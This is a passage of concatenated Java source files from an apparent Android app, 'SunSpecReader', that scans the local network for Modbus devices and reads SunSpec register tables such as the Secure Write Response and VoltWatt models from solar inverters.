rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.gr.relleum.retep.sunspec; import android.os.AsyncTask; import android.text.InputFilter; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageButton; import android.widget.ListView; import android.widget.ProgressBar; import java.net.InetAddress; import java.net.UnknownHostException; import java.util.Iterator; import ch.gr.relleum.retep.sunspec.util.InputFilterMinMax; import ch.gr.relleum.retep.sunspec.util.IpListAdapter; import ch.gr.relleum.retep.sunspec.util.SunSpecListAdapter; import ch.retep.relleum.network.LocalNet; import ch.retep.relleum.sunspec.SunSpecAdressItem; /** * Created by Peter on 28.01.2017. */ public class SunSpecScan { private EditText[] editTextsIP = new EditText[4]; private EditText numberPickerPort; private EditText numberPickerUnitId; private EditText numberPickerStartingAdress; private ProgressBar progressBar; private static Iterator<InetAddress> inetAddressIterator; private SunSpecActivity sunSpecActivity; private InetAddress inetAddress; private IpListAdapter ipListAdapter; public void onCreate(SunSpecActivity aSunSpecActivity) { sunSpecActivity=aSunSpecActivity ; InetAddress inetAddress = LocalNet.getLocalIpAddress(); SunSpecListAdapter sunSpecListAdapter = new SunSpecListAdapter(sunSpecActivity); ipListAdapter = new IpListAdapter(sunSpecActivity, sunSpecListAdapter); ListView listView_ip = (ListView) aSunSpecActivity.findViewById(R.id.id_ip_list); listView_ip.setAdapter(ipListAdapter); ListView listView_Host = (ListView) aSunSpecActivity.findViewById(R.id.id_listView); listView_Host.setAdapter(sunSpecListAdapter); editTextsIP[0] = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker1); editTextsIP[1] = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker2); editTextsIP[2] = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker3); editTextsIP[3] = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker4); for (int i = 0; i < editTextsIP.length; i++) { editTextsIP[i].setFilters(new InputFilter[]{new InputFilterMinMax(0, 255)}); editTextsIP[i].setText(String.valueOf((inetAddress != null ? inetAddress.getAddress() : new byte[0])[i] & 0Xff)); } numberPickerPort = (EditText) aSunSpecActivity.findViewById(R.id.numberPicker_Port); numberPickerPort.setFilters(new InputFilter[]{new InputFilterMinMax(0, 65535)}); numberPickerPort.setText(R.string.t502); numberPickerUnitId = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker_Unit_Id); numberPickerUnitId.setFilters(new InputFilter[]{new InputFilterMinMax(0, 255)}); numberPickerUnitId.setText(R.string.t126); numberPickerStartingAdress = (EditText) aSunSpecActivity.findViewById(R.id.Id_numberPicker_Starting_Adresse); numberPickerStartingAdress.setFilters(new InputFilter[]{new InputFilterMinMax(0, 90000)}); numberPickerStartingAdress.setText(R.string.t40000); progressBar = (ProgressBar) aSunSpecActivity.findViewById(R.id.id_progressBarScan); progressBar.setVisibility(ProgressBar.INVISIBLE); ImageButton buttonScan = (ImageButton) aSunSpecActivity.findViewById(R.id.id_Button_ScanNetwork); buttonScan.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { SunSpecSan sunSpecSan = new SunSpecSan(); sunSpecSan.execute(); } }); Button buttonErneuern = (Button) sunSpecActivity.findViewById(R.id.ID_button_erneuern1); buttonErneuern.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { sunSpecActivity.updateList(); } }); } class SunSpecSan extends AsyncTask<String, String, String> { byte[] bytes; int port; boolean scan = true; @Override protected void onPreExecute() { progressBar.setVisibility(ProgressBar.VISIBLE); bytes = new byte[]{(byte) (Integer.parseInt(editTextsIP[0].getText().toString()) & 0XFF), (byte) (Integer.parseInt(editTextsIP[1].getText().toString()) & 0XFF), (byte) (Integer.parseInt(editTextsIP[2].getText().toString()) & 0XFF), (byte) (Integer.parseInt(editTextsIP[3].getText().toString()) & 0XFF)}; port = Integer.parseInt(numberPickerPort.getText().toString()); } @Override protected String doInBackground(String... params) { if (inetAddressIterator == null || !inetAddressIterator.hasNext()) { try { inetAddressIterator = LocalNet.scanNetoworkAtPort(InetAddress.getByAddress(bytes), port); } catch (UnknownHostException e) { e.printStackTrace(); } } return null; } @Override protected void onPostExecute(String result) { ipListAdapter.clear(); progressBar.setVisibility(ProgressBar.INVISIBLE); if (!(inetAddressIterator == null || !inetAddressIterator.hasNext())) { while (inetAddressIterator.hasNext()) { InetAddress inetAddress = inetAddressIterator.next(); SunSpecAdressItem item = new SunSpecAdressItem(inetAddress.getHostName(),inetAddress.getHostAddress(),Integer.parseInt(numberPickerPort.getText().toString()),Integer.parseInt(numberPickerUnitId.getText().toString()),Integer.parseInt(numberPickerStartingAdress.getText().toString())); ipListAdapter.add(item); } } } } } <file_sep># SunSpecReader Android App liest über Modbus die Sunspec Daten aus dem einer Anlage aus. Achtung Anlage muss so konfiguriert werden, dass Modbus möglich ist. <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.modbus.datatype; import java.util.Iterator; import java.util.Vector; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.util.Vec; /** * @author Peter */ public class Table extends Read0X03 { /** * */ protected final Vec vector = new Vec(); /** * @return */ @Override public long toLong() { return 0; } /** * @return */ @Override public boolean isNaN() { return false; } /** * @param bArry */ @Override public void setResponseInit(byte[] bArry) { for (Read0X03 read0X03 : vector.values()) { read0X03.setResponse2(bArry); } } /** * */ @Override public void doOnResponse() { for (Read0X03 read0X03 : vector.values()) { read0X03.doOnResponse(); } System.out.println(""); } /** * @return */ public Iterator<Read0X03> getMessages() { Vector<Read0X03> v = new Vector(); Integer l = getStartingAddress(); Read0X03 read0X03; while (vector.containsKey(l)) { read0X03 = vector.get(l); v.add(read0X03); l = read0X03.getStartingAddress() + read0X03.getQuantityOfRegisters(); } return v.iterator(); } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterPad; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.RegisterUint32; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; public class Table0007SecureWriteResponseModelDRAFT1 extends Table { private ID secureWriteResponseModelDRAFT100ID ; private L secureWriteResponseModelDRAFT101L ; private RqSeq secureWriteResponseModelDRAFT102RqSeq ; private Sts secureWriteResponseModelDRAFT103Sts ; private Ts secureWriteResponseModelDRAFT104Ts ; private Ms secureWriteResponseModelDRAFT106Ms ; private Seq secureWriteResponseModelDRAFT107Seq ; private Alm secureWriteResponseModelDRAFT108Alm ; private Rsrvd secureWriteResponseModelDRAFT109Rsrvd ; private Alg secureWriteResponseModelDRAFT110Alg ; private N secureWriteResponseModelDRAFT111N ; private DS secureWriteResponseModelDRAFT112DS ; public Table0007SecureWriteResponseModelDRAFT1(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 0, 13, "Secure Write Response Model (DRAFT 1) Modell", "", "Secure Write Response Model (DRAFT 1) Modell ", Rw.R, Mandatory.M); secureWriteResponseModelDRAFT100ID = new ID(tcpModbusHandler); secureWriteResponseModelDRAFT101L = new L(tcpModbusHandler); secureWriteResponseModelDRAFT102RqSeq = new RqSeq(tcpModbusHandler); secureWriteResponseModelDRAFT103Sts = new Sts(tcpModbusHandler); secureWriteResponseModelDRAFT104Ts = new Ts(tcpModbusHandler); secureWriteResponseModelDRAFT106Ms = new Ms(tcpModbusHandler); secureWriteResponseModelDRAFT107Seq = new Seq(tcpModbusHandler); secureWriteResponseModelDRAFT108Alm = new Alm(tcpModbusHandler); secureWriteResponseModelDRAFT109Rsrvd = new Rsrvd(tcpModbusHandler); secureWriteResponseModelDRAFT110Alg = new Alg(tcpModbusHandler); secureWriteResponseModelDRAFT111N = new N(tcpModbusHandler); vector.add(secureWriteResponseModelDRAFT100ID); vector.add(secureWriteResponseModelDRAFT101L); vector.add(secureWriteResponseModelDRAFT102RqSeq); vector.add(secureWriteResponseModelDRAFT103Sts); vector.add(secureWriteResponseModelDRAFT104Ts); vector.add(secureWriteResponseModelDRAFT106Ms); vector.add(secureWriteResponseModelDRAFT107Seq); vector.add(secureWriteResponseModelDRAFT108Alm); vector.add(secureWriteResponseModelDRAFT109Rsrvd); vector.add(secureWriteResponseModelDRAFT110Alg); vector.add(secureWriteResponseModelDRAFT111N); vector.add(secureWriteResponseModelDRAFT112DS); } public RetepEnum getID() { return secureWriteResponseModelDRAFT100ID; } public RetepLong getL() { return secureWriteResponseModelDRAFT101L; } public RetepLong getRqSeq() { return secureWriteResponseModelDRAFT102RqSeq; } public RetepEnum getSts() { return secureWriteResponseModelDRAFT103Sts; } public RetepLong getTs() { return secureWriteResponseModelDRAFT104Ts; } public RetepLong getMs() { return secureWriteResponseModelDRAFT106Ms; } public RetepLong getSeq() { return secureWriteResponseModelDRAFT107Seq; } public RetepEnum getAlm() { return secureWriteResponseModelDRAFT108Alm; } public RetepLong getRsrvd() { return secureWriteResponseModelDRAFT109Rsrvd; } public RetepEnum getAlg() { return secureWriteResponseModelDRAFT110Alg; } public RetepLong getN() { return secureWriteResponseModelDRAFT111N; } public RetepLong getDS() { return secureWriteResponseModelDRAFT112DS; } public static class ID extends RegisterEnum16 { public ID (TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 0, 1, "Model", "", "Include a digital signature over the response", Rw.R, Mandatory.M); hashtable.put((long) 7, "SunSpec Secure Write Response Model (DRAFT 1)"); } } public static class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public static class RqSeq extends RegisterUint16 { public RqSeq(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 2, 1, "Request Sequence", "", "Sequence number from the request", Rw.R, Mandatory.M); } } public static class Sts extends RegisterEnum16 { public Sts(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 3, 1, "Status", "", "Status of last write operation", Rw.R, Mandatory.M); hashtable.put((long) 0, "SUCCESS"); hashtable.put((long) 1, "DS"); hashtable.put((long) 2, "ACL"); hashtable.put((long) 3, "OFF"); hashtable.put((long) 4, "VAL"); } } public static class Ts extends RegisterUint32 { public Ts(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 4, 2, "Timestamp", "", "Timestamp value is the number of seconds since January 1, 2000", Rw.R, Mandatory.M); } } public static class Ms extends RegisterUint16 { public Ms(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 6, 1, "Milliseconds", "", "Millisecond counter 0-999", Rw.R, Mandatory.M); } } public static class Seq extends RegisterUint16 { public Seq(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 7, 1, "Sequence", "", "Sequence number of response", Rw.R, Mandatory.M); } } public static class Alm extends RegisterEnum16 { public Alm(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 8, 1, "Alarm", "", "Bitmask alarm code", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "ALM"); } } public static class Rsrvd extends RegisterPad { public Rsrvd(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 9, 1, "", "", "", Rw.R, Mandatory.M); } } public static class Alg extends RegisterEnum16 { public Alg(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 10, 1, "Algorithm", "", "Algorithm used to compute the digital signature", Rw.R, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "AES-GMAC-64"); hashtable.put((long) 2, "ECC-256"); } } public static class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 11, 1, "N", "", "Number of registers comprising the digital signature.", Rw.RW, Mandatory.M); } } public static class DS extends RegisterUint16 { public DS(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteResponseModelDRAFT1_7(), 12, 1, "DS", "", "Digital Signature", Rw.RW, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterBitfield16; import ch.retep.relleum.modbus.datatype.RegisterDouble; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterString; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.RegisterUDouble; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepDouble; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; import ch.retep.relleum.sunspec.datatype.RetepString; /** * @author Peter */ public class Table0132VoltWatt extends Table { private TcpModbusHandler tcpModbusHandler; private ID voltWatt00ID; private L voltWatt1L; private ActCrv voltWatt02ActCrv; private ModEna voltWatt03ModEna; private WinTms voltWatt04WinTms; private RvrtTms voltWatt05RvrtTms; private RmpTms voltWatt06RmpTms; private NCrv voltWatt07NCrv; private NPt voltWatt08NPt; private V_SF voltWatt09V_SF; private DeptRef_SF voltWatt10DeptRef_SF; private RmpIncDec_SF voltWatt11RmpIncDec_SF; private ActPt[] voltWatt12ActPts; private DeptRef[] voltWatt13DeptRefs; private V1[] voltWatt14V1s; private W1[] voltWatt15W1s; private V2[] voltWatt16V2s; private W2[] voltWatt17W2s; private V3[] voltWatt18V3s; private W3[] voltWatt19W3s; private V4[] voltWatt20V4s; private W4[] voltWatt21W4s; private V5[] voltWatt22V5s; private W5[] voltWatt23W5s; private V6[] voltWatt24V6s; private W6[] voltWatt25W6s; private V7[] voltWatt26V7s; private W7[] voltWatt27W7s; private V8[] voltWatt28V8s; private W8[] voltWatt29W8s; private V9[] voltWatt30V9s; private W9[] voltWatt31W9s; private V10[] voltWatt32V10s; private W10[] voltWatt33W10s; private V11[] voltWatt34V11s; private W11[] voltWatt35W11s; private V12[] voltWatt36V12s; private W12[] voltWatt37W12s; private V13[] voltWatt38V13s; private W13[] voltWatt39W13s; private V14[] voltWatt40V14s; private W14[] voltWatt41W14s; private V15[] voltWatt42V15s; private W15[] voltWatt43W15s; private V16[] voltWatt44V16s; private W16[] voltWatt45W16s; private V17[] voltWatt46V17s; private W17[] voltWatt47W17s; private V18[] voltWatt48V18s; private W18[] voltWatt49W18s; private V19[] voltWatt50V19s; private W19[] voltWatt51W19s; private V20[] voltWatt52V20s; private W20[] voltWatt53W20s; private CrvNam[] voltWatt54CrvNams; private RmpPt1Tms[] voltWatt62RmpPt1Tmss; private RmpDecTmm[] voltWatt63RmpDecTmms; private RmpIncTmm[] voltWatt64RmpIncTmms; private ReadOnly[] voltWatt65ReadOnlys; public Table0132VoltWatt(TcpModbusHandler tcpModbusHandler) { this.tcpModbusHandler = tcpModbusHandler; init(tcpModbusHandler.getVoltWatt_132(), 0, 66, "VoltWatt", "", "VoltWatt", Rw.R, Mandatory.M); voltWatt00ID = new ID(tcpModbusHandler); voltWatt1L = new L(tcpModbusHandler); voltWatt02ActCrv = new ActCrv(tcpModbusHandler); voltWatt03ModEna = new ModEna(tcpModbusHandler); voltWatt04WinTms = new WinTms(tcpModbusHandler); voltWatt05RvrtTms = new RvrtTms(tcpModbusHandler); voltWatt06RmpTms = new RmpTms(tcpModbusHandler); voltWatt07NCrv = new NCrv(tcpModbusHandler); voltWatt08NPt = new NPt(tcpModbusHandler); voltWatt09V_SF = new V_SF(tcpModbusHandler); voltWatt10DeptRef_SF = new DeptRef_SF(tcpModbusHandler); voltWatt11RmpIncDec_SF = new RmpIncDec_SF(tcpModbusHandler); vector.add(voltWatt00ID); vector.add(voltWatt1L); vector.add(voltWatt09V_SF); vector.add(voltWatt10DeptRef_SF); vector.add(voltWatt11RmpIncDec_SF); vector.add(voltWatt02ActCrv); vector.add(voltWatt03ModEna); vector.add(voltWatt04WinTms); vector.add(voltWatt05RvrtTms); vector.add(voltWatt06RmpTms); vector.add(voltWatt07NCrv); vector.add(voltWatt08NPt); } @Override public void setResponseInit(byte[] bArry) { super.setResponseInit(bArry); int size = (((int) getL().toLong() - 10) / 54); voltWatt12ActPts = new ActPt[size]; voltWatt13DeptRefs = new DeptRef[size]; voltWatt14V1s = new V1[size]; voltWatt15W1s = new W1[size]; voltWatt16V2s = new V2[size]; voltWatt17W2s = new W2[size]; voltWatt18V3s = new V3[size]; voltWatt19W3s = new W3[size]; voltWatt20V4s = new V4[size]; voltWatt21W4s = new W4[size]; voltWatt22V5s = new V5[size]; voltWatt23W5s = new W5[size]; voltWatt24V6s = new V6[size]; voltWatt25W6s = new W6[size]; voltWatt26V7s = new V7[size]; voltWatt27W7s = new W7[size]; voltWatt28V8s = new V8[size]; voltWatt29W8s = new W8[size]; voltWatt30V9s = new V9[size]; voltWatt31W9s = new W9[size]; voltWatt32V10s = new V10[size]; voltWatt33W10s = new W10[size]; voltWatt34V11s = new V11[size]; voltWatt35W11s = new W11[size]; voltWatt36V12s = new V12[size]; voltWatt37W12s = new W12[size]; voltWatt38V13s = new V13[size]; voltWatt39W13s = new W13[size]; voltWatt40V14s = new V14[size]; voltWatt41W14s = new W14[size]; voltWatt42V15s = new V15[size]; voltWatt43W15s = new W15[size]; voltWatt44V16s = new V16[size]; voltWatt45W16s = new W16[size]; voltWatt46V17s = new V17[size]; voltWatt47W17s = new W17[size]; voltWatt48V18s = new V18[size]; voltWatt49W18s = new W18[size]; voltWatt50V19s = new V19[size]; voltWatt51W19s = new W19[size]; voltWatt52V20s = new V20[size]; voltWatt53W20s = new W20[size]; voltWatt54CrvNams = new CrvNam[size]; voltWatt62RmpPt1Tmss = new RmpPt1Tms[size]; voltWatt63RmpDecTmms = new RmpDecTmm[size]; voltWatt64RmpIncTmms = new RmpIncTmm[size]; voltWatt65ReadOnlys = new ReadOnly[size]; for (int i = 0; i < size; i++) { voltWatt12ActPts[i] = new ActPt(i, tcpModbusHandler); voltWatt13DeptRefs[i] = new DeptRef(i, tcpModbusHandler); voltWatt14V1s[i] = new V1(i, voltWatt09V_SF, tcpModbusHandler); voltWatt15W1s[i] = new W1(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt16V2s[i] = new V2(i, voltWatt09V_SF, tcpModbusHandler); voltWatt17W2s[i] = new W2(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt18V3s[i] = new V3(i, voltWatt09V_SF, tcpModbusHandler); voltWatt19W3s[i] = new W3(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt20V4s[i] = new V4(i, voltWatt09V_SF, tcpModbusHandler); voltWatt21W4s[i] = new W4(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt22V5s[i] = new V5(i, voltWatt09V_SF, tcpModbusHandler); voltWatt23W5s[i] = new W5(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt24V6s[i] = new V6(i, voltWatt09V_SF, tcpModbusHandler); voltWatt25W6s[i] = new W6(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt26V7s[i] = new V7(i, voltWatt09V_SF, tcpModbusHandler); voltWatt27W7s[i] = new W7(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt28V8s[i] = new V8(i, voltWatt09V_SF, tcpModbusHandler); voltWatt29W8s[i] = new W8(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt30V9s[i] = new V9(i, voltWatt09V_SF, tcpModbusHandler); voltWatt31W9s[i] = new W9(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt32V10s[i] = new V10(i, voltWatt09V_SF, tcpModbusHandler); voltWatt33W10s[i] = new W10(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt34V11s[i] = new V11(i, voltWatt09V_SF, tcpModbusHandler); voltWatt35W11s[i] = new W11(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt36V12s[i] = new V12(i, voltWatt09V_SF, tcpModbusHandler); voltWatt37W12s[i] = new W12(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt38V13s[i] = new V13(i, voltWatt09V_SF, tcpModbusHandler); voltWatt39W13s[i] = new W13(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt40V14s[i] = new V14(i, voltWatt09V_SF, tcpModbusHandler); voltWatt41W14s[i] = new W14(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt42V15s[i] = new V15(i, voltWatt09V_SF, tcpModbusHandler); voltWatt43W15s[i] = new W15(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt44V16s[i] = new V16(i, voltWatt09V_SF, tcpModbusHandler); voltWatt45W16s[i] = new W16(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt46V17s[i] = new V17(i, voltWatt09V_SF, tcpModbusHandler); voltWatt47W17s[i] = new W17(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt48V18s[i] = new V18(i, voltWatt09V_SF, tcpModbusHandler); voltWatt49W18s[i] = new W18(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt50V19s[i] = new V19(i, voltWatt09V_SF, tcpModbusHandler); voltWatt51W19s[i] = new W19(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt52V20s[i] = new V20(i, voltWatt09V_SF, tcpModbusHandler); voltWatt53W20s[i] = new W20(i, voltWatt10DeptRef_SF, tcpModbusHandler); voltWatt54CrvNams[i] = new CrvNam(i, tcpModbusHandler); voltWatt62RmpPt1Tmss[i] = new RmpPt1Tms(i, tcpModbusHandler); voltWatt63RmpDecTmms[i] = new RmpDecTmm(i, voltWatt11RmpIncDec_SF, tcpModbusHandler); voltWatt64RmpIncTmms[i] = new RmpIncTmm(i, voltWatt11RmpIncDec_SF, tcpModbusHandler); voltWatt65ReadOnlys[i] = new ReadOnly(i, tcpModbusHandler); vector.add(voltWatt12ActPts[i]); vector.add(voltWatt13DeptRefs[i]); vector.add(voltWatt14V1s[i]); vector.add(voltWatt15W1s[i]); vector.add(voltWatt16V2s[i]); vector.add(voltWatt17W2s[i]); vector.add(voltWatt18V3s[i]); vector.add(voltWatt19W3s[i]); vector.add(voltWatt20V4s[i]); vector.add(voltWatt21W4s[i]); vector.add(voltWatt22V5s[i]); vector.add(voltWatt23W5s[i]); vector.add(voltWatt24V6s[i]); vector.add(voltWatt25W6s[i]); vector.add(voltWatt26V7s[i]); vector.add(voltWatt27W7s[i]); vector.add(voltWatt28V8s[i]); vector.add(voltWatt29W8s[i]); vector.add(voltWatt30V9s[i]); vector.add(voltWatt31W9s[i]); vector.add(voltWatt32V10s[i]); vector.add(voltWatt33W10s[i]); vector.add(voltWatt34V11s[i]); vector.add(voltWatt35W11s[i]); vector.add(voltWatt36V12s[i]); vector.add(voltWatt37W12s[i]); vector.add(voltWatt38V13s[i]); vector.add(voltWatt39W13s[i]); vector.add(voltWatt40V14s[i]); vector.add(voltWatt41W14s[i]); vector.add(voltWatt42V15s[i]); vector.add(voltWatt43W15s[i]); vector.add(voltWatt44V16s[i]); vector.add(voltWatt45W16s[i]); vector.add(voltWatt46V17s[i]); vector.add(voltWatt47W17s[i]); vector.add(voltWatt48V18s[i]); vector.add(voltWatt49W18s[i]); vector.add(voltWatt50V19s[i]); vector.add(voltWatt51W19s[i]); vector.add(voltWatt52V20s[i]); vector.add(voltWatt53W20s[i]); vector.add(voltWatt54CrvNams[i]); vector.add(voltWatt62RmpPt1Tmss[i]); vector.add(voltWatt63RmpDecTmms[i]); vector.add(voltWatt64RmpIncTmms[i]); vector.add(voltWatt65ReadOnlys[i]); } } /** * @return */ public RetepEnum getID() { return voltWatt00ID; } /** * @return */ public RetepLong getL() { return voltWatt1L; } /** * @return */ public RetepLong getActCrv() { return voltWatt02ActCrv; } /** * @return */ public RetepBitMask getModEna() { return voltWatt03ModEna; } /** * @return */ public RetepLong getWinTms() { return voltWatt04WinTms; } /** * @return */ public RetepLong getRvrtTms() { return voltWatt05RvrtTms; } /** * @return */ public RetepLong getRmpTms() { return voltWatt06RmpTms; } /** * @return */ public RetepLong getNCrv() { return voltWatt07NCrv; } /** * @return */ public RetepLong getNPt() { return voltWatt08NPt; } /** * @return */ public RetepLong getV_SF() { return voltWatt09V_SF; } /** * @return */ public RetepLong getDeptRef_SF() { return voltWatt10DeptRef_SF; } /** * @return */ public RetepLong getRmpIncDec_SF() { return voltWatt11RmpIncDec_SF; } /** * @return */ public RetepLong getActPt(int index) { return voltWatt12ActPts[index]; } /** * @return */ public RetepEnum getDeptRef(int index) { return voltWatt13DeptRefs[index]; } /** * @return */ public RetepDouble getV1(int index) { return voltWatt14V1s[index]; } /** * @return */ public RetepDouble getW1(int index) { return voltWatt15W1s[index]; } /** * @return */ public RetepDouble getV2(int index) { return voltWatt16V2s[index]; } /** * @return */ public RetepDouble getW2(int index) { return voltWatt17W2s[index]; } /** * @return */ public RetepDouble getV3(int index) { return voltWatt18V3s[index]; } /** * @return */ public RetepDouble getW3(int index) { return voltWatt19W3s[index]; } /** * @return */ public RetepDouble getV4(int index) { return voltWatt20V4s[index]; } /** * @return */ public RetepDouble getW4(int index) { return voltWatt21W4s[index]; } /** * @return */ public RetepDouble getV5(int index) { return voltWatt22V5s[index]; } /** * @return */ public RetepDouble getW5(int index) { return voltWatt23W5s[index]; } /** * @return */ public RetepDouble getV6(int index) { return voltWatt24V6s[index]; } /** * @return */ public RetepDouble getW6(int index) { return voltWatt25W6s[index]; } /** * @return */ public RetepDouble getV7(int index) { return voltWatt26V7s[index]; } /** * @return */ public RetepDouble getW7(int index) { return voltWatt27W7s[index]; } /** * @return */ public RetepDouble getV8(int index) { return voltWatt28V8s[index]; } /** * @return */ public RetepDouble getW8(int index) { return voltWatt29W8s[index]; } /** * @return */ public RetepDouble getV9(int index) { return voltWatt30V9s[index]; } /** * @return */ public RetepDouble getW9(int index) { return voltWatt31W9s[index]; } /** * @return */ public RetepDouble getV10(int index) { return voltWatt32V10s[index]; } /** * @return */ public RetepDouble getW10(int index) { return voltWatt33W10s[index]; } /** * @return */ public RetepDouble getV11(int index) { return voltWatt34V11s[index]; } /** * @return */ public RetepDouble getW11(int index) { return voltWatt35W11s[index]; } /** * @return */ public RetepDouble getV12(int index) { return voltWatt36V12s[index]; } /** * @return */ public RetepDouble getW12(int index) { return voltWatt37W12s[index]; } /** * @return */ public RetepDouble getV13(int index) { return voltWatt38V13s[index]; } /** * @return */ public RetepDouble getW13(int index) { return voltWatt39W13s[index]; } /** * @return */ public RetepDouble getV14(int index) { return 